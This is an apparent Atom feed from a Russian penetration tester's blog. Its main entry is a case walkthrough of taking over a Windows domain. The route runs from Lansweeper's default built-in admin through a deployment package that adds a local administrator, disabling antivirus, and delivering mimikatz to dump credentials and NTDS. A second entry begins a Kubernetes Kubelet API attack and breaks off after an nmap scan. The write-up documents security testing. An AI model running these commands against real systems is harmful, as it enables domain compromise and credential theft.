<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>o1d_bu7_go1d</title><subtitle>Pentester</subtitle><author><name>o1d_bu7_go1d</name></author><id>https://teletype.in/atom/o1d_bu7_go1d</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/o1d_bu7_go1d?offset=0"></link><link rel="alternate" type="text/html" href="https://red-team-notes.ru/?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=o1d_bu7_go1d"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/o1d_bu7_go1d?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-21T18:52:55.806Z</updated><entry><id>o1d_bu7_go1d:ptest-case-2</id><link rel="alternate" type="text/html" href="https://red-team-notes.ru/ptest-case-2?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=o1d_bu7_go1d"></link><title>Как Lansweeper может привести к компрометации доменной инфраструктуры</title><published>2026-06-20T13:36:40.164Z</published><updated>2026-06-20T13:38:40.159Z</updated><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/3f/f1/3ff10abd-31cc-4e9b-82dd-04c0451c9a5e.png&quot;&gt;Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.</summary><content type="html">
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;sE6t&quot; data-align=&quot;center&quot;&gt;[0x00] Предисловие&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;p4qz&quot;&gt;Всем привет, я — &lt;strong&gt;&lt;em&gt;o1d_bu7_go1d&lt;/em&gt;&lt;/strong&gt;, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.&lt;/p&gt;
  &lt;p id=&quot;MrH8&quot;&gt;Недавно проводили с коллегами очередные работы по тестированию на проникновение и выявили несколько интересных вещей. Про одну из таких вещей я сегодня расскажу. А точнее, я опишу кейс с сервисом &lt;code&gt;Lansweeper&lt;/code&gt;, который стал отправной точкой на пути к захвату домена. Напомню, что я разбираю именно &lt;strong&gt;&lt;em&gt;кейс&lt;/em&gt;&lt;/strong&gt;, а не базу.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;gsIu&quot; data-align=&quot;center&quot;&gt;[0x01] Отказ от ответственности&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;z9Xj&quot;&gt;Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными. &lt;/p&gt;
  &lt;p id=&quot;C8FC&quot;&gt;Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;00qr&quot; data-align=&quot;center&quot;&gt;[0x02] Захват доменной инфраструктуры&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;sEil&quot;&gt;Представим ситуацию, что мы, находясь в инфраструктуре организации, обнаружили сервис под названием &lt;code&gt;Lansweeper&lt;/code&gt;. Наша цель - захватить доменную инфраструктуру организации. Но как нам может помочь в этом обнаруженный сервис?&lt;/p&gt;
  &lt;p id=&quot;PNRw&quot;&gt;Для начала стоит разобраться, что это за сервис. По своей сути, &lt;code&gt;Lansweeper&lt;/code&gt; является платформой для инвентаризации IT-активов организации, а именно - позволяет централизованно управлять IT-инфраструктурой. Забегая вперед, именно это и позволит нам захватить домен.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;1ySR&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/61/9e/619e4a0b-9bfc-4df5-87d3-a8a63cb4bb39.png&quot; width=&quot;1369&quot; /&gt;
      &lt;figcaption&gt;Стартовая страница Lansweeper&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KKHn&quot;&gt;И так, мы нашли &lt;code&gt;Lansweeper&lt;/code&gt; в инфраструктуре организации. Если обратить внимание на скриншот выше, то можно заметить кнопку &lt;code&gt;BUILT-IN ADMIN&lt;/code&gt;. С этой простой, казалось бы, кнопкой связана &lt;code&gt;CVE-2020-14011&lt;/code&gt;. Ссылка на &lt;a href=&quot;https://www.exploit-db.com/exploits/48618&quot; target=&quot;_blank&quot;&gt;exploit-db&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;WrAv&quot;&gt;Дело в том, что в версиях с 6.0.x по 7.2.x при стандартной установке возникает серьезная проблема в контроле доступа. При первом запуске веб-консоли система предлагает мастер-настройки. Если администратор не снял вручную галочку с параметра &lt;code&gt;Built-in admin&lt;/code&gt;, то для учетной записи администратора по умолчанию устанавливается заранее заданный пароль.&lt;/p&gt;
  &lt;p id=&quot;5VuN&quot;&gt;При этом, в ходе проекта меня пустило в панель &lt;code&gt;Lansweeper&lt;/code&gt; через простое нажатие на кнопку &lt;code&gt;BUILT-IN ADMIN&lt;/code&gt; без ввода учетных данных. К слову, версия в &lt;code&gt;Lansweeper&lt;/code&gt; была &lt;code&gt;7.2.108.6&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;kXQx&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/39/47/3947276a-e569-4f33-a4ba-25fbe64736cc.png&quot; width=&quot;1371&quot; /&gt;
      &lt;figcaption&gt;Доступ к Lansweeper через Built-In Admin&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;piaC&quot;&gt;Самое главное, что мы, как злоумышленник, можем создавать вредоносные пакеты для последующего деплоя на хосты. Делается это через вкладку &lt;code&gt;Deployment&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;WDm1&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/af/28/af28fad1-6850-4ee7-896d-9897e9670519.png&quot; width=&quot;1375&quot; /&gt;
      &lt;figcaption&gt;Переход на вкладку Deployment&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;l0nk&quot;&gt;Создадим вредоносный пакет, в котором будет содержаться команда для добавления доменного пользователя в локальные администраторы. Простой доменный пользователь был в нашем распоряжении. Нажимаем на &lt;code&gt;New Package&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;YFCP&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/df/54/df5484c4-bb36-4d18-bea0-33bdf558b3a0.png&quot; width=&quot;1374&quot; /&gt;
      &lt;figcaption&gt;Создание нового пакета для последующего деплоя&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;473w&quot;&gt;Указываем имя пакета, можно добавить описание. Обязательно указываем в разделе &lt;code&gt;Run Mode&lt;/code&gt; - &lt;code&gt;System Account&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;wiZ6&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/ef/c2/efc2687c-e987-4c97-b8e8-5c383627a19f.png&quot; width=&quot;795&quot; /&gt;
      &lt;figcaption&gt;Базовые настройки пакета&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;odTQ&quot;&gt;После того, как мы создали пакет, нужно добавить действия, которые будут выполнять при деплое этого пакета. Для этого необходимо нажать на &lt;code&gt;Add Step&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;ZDTi&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/44/eb/44eb4781-03be-4341-849a-563f60ba70c2.png&quot; width=&quot;969&quot; /&gt;
      &lt;figcaption&gt;Добавление действий для пакета в рамках деплоя&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qduD&quot;&gt;В открывшемся меню необходимо изменить &lt;code&gt;Action&lt;/code&gt; на &lt;code&gt;Command&lt;/code&gt;, указать &lt;code&gt;Step Name&lt;/code&gt;, а также вписать саму команду в &lt;code&gt;Command&lt;/code&gt;, которая будет исполняться:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;PkYY&quot; data-lang=&quot;powershell&quot;&gt;net localgroup administrators &amp;lt;DOMAIN_EXAMPLE&amp;gt;\&amp;lt;controlled_username&amp;gt; /add&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;7TO3&quot;&gt;Мы не мусорим в инфраструктурах и вам не советуем, поэтому удалить пользователя из локальных администраторов можно командой &lt;code&gt;net localgroup administrators &amp;lt;DOMAIN_EXAMPLE&amp;gt;\&amp;lt;controlled_username&amp;gt; /delete&lt;/code&gt;&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;H3xJ&quot;&gt;После этого нужно выбрать параметры в разделах &lt;code&gt;Action on Success&lt;/code&gt; и &lt;code&gt;Action on Failure&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;XJfP&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/b4/28/b428f8f8-cf14-47dd-b3e6-b571c9e428c9.png&quot; width=&quot;1372&quot; /&gt;
      &lt;figcaption&gt;Добавление команды&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;GPAq&quot;&gt;Следующее действие - деплой. Я предварительно выбрал цель, куда буду деплоить созданный пакет. К примеру, это может быть один из центральных серверов организации. Нажимаем на &lt;code&gt;Deploy Now&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;mV77&quot; class=&quot;m_retina&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/97/f9/97f9a225-f62d-4650-94a4-4437dc816ba7.png&quot; width=&quot;684.5&quot; /&gt;
      &lt;figcaption&gt;Переход к деплою пакета&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;2yAX&quot;&gt;В открывшемся меню в разделе &lt;code&gt;Deploy On&lt;/code&gt; выбираем &lt;code&gt;Selection&lt;/code&gt; и из меню &lt;code&gt;Select Assets&lt;/code&gt; выбираем интересующую нас цель:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;ASxE&quot; class=&quot;m_retina&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/e8/43/e8430f83-a173-4d02-a690-0ea06ef009ba.png&quot; width=&quot;681&quot; /&gt;
      &lt;figcaption&gt;Параметры деплоя&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;X0wo&quot;&gt;После того, как мы создали задачу на деплой, нам нужно проверить, выполнилось ли наше действие. Для этого нам надо найти нашу цель в разделе &lt;code&gt;Assets&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;C4Aa&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/68/18/6818112b-fbdb-41c3-b6ce-2cd3f425ca5a.png&quot; width=&quot;1371&quot; /&gt;
      &lt;figcaption&gt;Поиск цели в разеделе Assets, куда был произведен деплой&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;hWrO&quot;&gt;После того, как мы нашли интересующую нас цель, необходимо перейти во вкладку &lt;code&gt;Deployments&lt;/code&gt; и посмотреть лог деплоя:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;yolR&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/0d/0a/0d0a6abc-3445-44b7-9c77-278654ffe0d1.png&quot; width=&quot;1376&quot; /&gt;
      &lt;figcaption&gt;Проверка выполнения задачи (деплоя)&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;XkrS&quot;&gt;Как видим, операция прошла успешно и, по идее, мы стали локальным администратором. Если изначальная картина была такая:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;7scW&quot; data-lang=&quot;bash&quot;&gt;nxc smb &amp;lt;target_ip&amp;gt; -u &amp;#x27;&amp;lt;controlled_user&amp;gt;&amp;#x27; -p &amp;#x27;&amp;lt;controlled_user_password&amp;gt;&amp;#x27; -d &amp;#x27;&amp;lt;example.local&amp;gt;&amp;#x27;&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;IgpH&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/da/b8/dab850ef-ea4c-44bb-90c4-90a182747d0a.png&quot; width=&quot;1376&quot; /&gt;
      &lt;figcaption&gt;Первоначальный доступ к хосту до добавления локального администратора&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;jVuV&quot;&gt;То сейчас имеем заветный &lt;code&gt;Pwn3d!&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;2Fof&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/2b/d3/2bd3541c-e6c0-4a2d-a694-d527604322e1.png&quot; width=&quot;1358&quot; /&gt;
      &lt;figcaption&gt;Проверка доступа после добавления локального администратора&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gpKm&quot;&gt;Попробуем выгрузить хэши из SAM и LSA:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;7PWj&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/d6/91/d6918eae-4723-4e61-9383-c1e32d03fee5.png&quot; width=&quot;1364&quot; /&gt;
      &lt;figcaption&gt;Выгрузка хэшей из SAM и LSA&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8HvA&quot;&gt;И самое неприятное то, что хэши в формате &lt;code&gt;$DCC2$10240#&lt;/code&gt;. Значит, нам надо действовать как-то по-другому, потому что хэши такого типа не могут быть использованы в рамках техники &lt;code&gt;Pass-the-Hash&lt;/code&gt;. Воспользуемся &lt;code&gt;remmina&lt;/code&gt; для подключения к целевому серверу по протоколу &lt;code&gt;RDP&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;Pktc&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/47/2a/472a85dd-e880-4bfe-ba0b-433bb6c47167.png&quot; width=&quot;1374&quot; /&gt;
      &lt;figcaption&gt;Подключение к целевому хосту по RDP&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;R8rK&quot;&gt;И вот мы успешно попали на хост:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;Ajb4&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/bb/8e/bb8e28bd-5a25-49ba-aa54-de104c7335ff.png&quot; width=&quot;1373&quot; /&gt;
      &lt;figcaption&gt;Получение доступа к целевому серверу по RDP&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gKl0&quot;&gt;Идея заключается в следующем - деактивировать &lt;code&gt;Kaspersky&lt;/code&gt; и загрузить &lt;code&gt;mimikatz&lt;/code&gt;. СЗИ отключить проблем не составило:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;smHm&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/34/97/3497db04-6327-4cc1-ac3a-6ea33ea193ae.png&quot; width=&quot;882&quot; /&gt;
      &lt;figcaption&gt;Отключение Kaspersky&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;tBn2&quot; class=&quot;m_original&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/c1/45/c1451380-1503-459c-90bf-6115629c355f.png&quot; width=&quot;1093&quot; /&gt;
      &lt;figcaption&gt;Отключение Kaspersky&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;RQKa&quot;&gt;Открываем у себя Python HTTP Server, чтобы доставить &lt;code&gt;mimikatz&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;9MyR&quot; data-lang=&quot;bash&quot;&gt;python3 -m http.server 4466&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;qPti&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/f6/04/f604b9fa-4dab-45da-8ed7-a50bd05df397.png&quot; width=&quot;1114&quot; /&gt;
      &lt;figcaption&gt;Активация HTTP-сервера на Kali Linux&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;0Z8l&quot;&gt;Скачиваем &lt;code&gt;mimikatz&lt;/code&gt; на целевой хост:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;zPCI&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/b4/93/b4932583-befa-432c-abef-3ab054641f83.png&quot; width=&quot;1212&quot; /&gt;
      &lt;figcaption&gt;Загрузка mimikatz&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;yYv8&quot;&gt;Запускаем загруженный &lt;code&gt;mimikatz&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;BVIm&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/d6/8e/d68ea52c-67e4-4c15-b9e6-0022e306bfb2.png&quot; width=&quot;1303&quot; /&gt;
      &lt;figcaption&gt;Запуск mimikatz&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gGCG&quot;&gt;Дампим &lt;code&gt;logonpasswords&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;fsco&quot; data-lang=&quot;bash&quot;&gt;privilege::debug
sekurlsa::logonpasswords&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;OtFG&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/17/29/1729e235-01dc-469b-94ee-07917f9dc322.png&quot; width=&quot;1089&quot; /&gt;
      &lt;figcaption&gt;Дамп logonpasswords&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;aftq&quot;&gt;Среди всего вывода находим хэш потенциально интересной учетной записи, обладающей высокими привилегиями в домене. На этот раз так сложилось, что мне повезло вытащить хэш учетной записи, входящей в состав группы &lt;code&gt;Domain Admins&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;c6Tp&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/7a/87/7a879eb3-885a-4bcd-919d-473338f9ac68.png&quot; width=&quot;1213&quot; /&gt;
      &lt;figcaption&gt;Получение хэша учетной записи, входящей в группу Domain Admins&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qlCX&quot;&gt;Остается только сдампить NTDS с контроллера домена и победить в этой простой, но интересной битве:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;figure id=&quot;YZ1W&quot; class=&quot;m_column&quot; data-caption-align=&quot;center&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/06/53/0653e45c-5202-4202-a307-270b7bb81327.png&quot; width=&quot;1375&quot; /&gt;
      &lt;figcaption&gt;Дамп NTDS с контроллера домена&lt;/figcaption&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ENxv&quot;&gt;На этом, пожалуй, всё. Мы рассмотрели, как я уже говорил, достаточно простой, но показательный вектор захвата домена.&lt;/p&gt;
  &lt;p id=&quot;LHTB&quot;&gt;Хочу выразить огромную благодарность моим коллегам, которые участвовали в проекте. Без вашего вклада и профессионализма такой качественный материал был бы невозможен!&lt;/p&gt;
  &lt;hr /&gt;

</content></entry><entry><id>o1d_bu7_go1d:ptest-case-1</id><link rel="alternate" type="text/html" href="https://red-team-notes.ru/ptest-case-1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=o1d_bu7_go1d"></link><title>Захват Kubernetes Cluster: от Anonymous Kubelet API Access до Host Kubernetes Server</title><published>2026-05-06T00:00:17.039Z</published><updated>2026-06-20T13:38:58.858Z</updated><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/5d/9e/5d9ed6b9-bc4d-43e0-8af8-6d772a382472.png&quot;&gt;Всем привет, я — o1d_bu7_go1d, занимаюсь тестированиями на проникновение в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте. Да, так исторически сложилось, что мой основной ник, который применяется мной практически везде, совпадает с названием команды.</summary><content type="html">
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;M1T6&quot; data-align=&quot;center&quot;&gt;[0x00] Предисловие&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;iKJk&quot;&gt;Всем привет, я — &lt;strong&gt;&lt;em&gt;o1d_bu7_go1d&lt;/em&gt;&lt;/strong&gt;, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.&lt;/p&gt;
  &lt;p id=&quot;y5DE&quot;&gt;Недавно работал над проектом, где ядром системы выступал Kubernetes. У всех всё бывает в первый раз, соответственно, на этом проекте я впервые познакомился с ним.&lt;/p&gt;
  &lt;p id=&quot;tvN3&quot;&gt;В этой статье, я хотел бы поделиться своим опытом, который мне удалось получить на проекте. Думаю, не нужно воспринимать информацию как истину в последней инстанции, я могу ошибаться в каких-то вещах, быть расплывчатым в терминологии. Всегда перепроверяйте то, с чем ознакамливаетесь. И, конечно же, здесь я делюсь именно &lt;strong&gt;&lt;em&gt;кейсом&lt;/em&gt;&lt;/strong&gt;, а не рассматриваю базу. Это, скорее, личные заметки.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;w70o&quot; data-align=&quot;center&quot;&gt;[0x01] Отказ от ответственности&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;2wRK&quot;&gt;Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными. &lt;/p&gt;
  &lt;p id=&quot;fqih&quot;&gt;Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;oyGV&quot; data-align=&quot;center&quot;&gt;[0x02] Нахождение всех Kubelet API средствами nmap в рамках скоупа&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;2zZv&quot;&gt;Запускаем Nmap, акцентируя внимание на порт &lt;code&gt;10250&lt;/code&gt;. Этот порт по-умолчанию используется Kubelet API:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;3HKF&quot; data-lang=&quot;bash&quot;&gt;nmap -p10250 XXX.XXX.XXX.XXX/XX --open -oG - | awk &amp;#x27;/\/open\// {print $2}&amp;#x27; &amp;gt; kubeletapi-endpoints.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;xPfc&quot;&gt;Пример полученного файла &lt;code&gt;kubeletapi-endpoints.txt&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;7lJK&quot;&gt;XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX3
XXX.XXX.XXX.XX4&lt;/pre&gt;
  &lt;/section&gt;
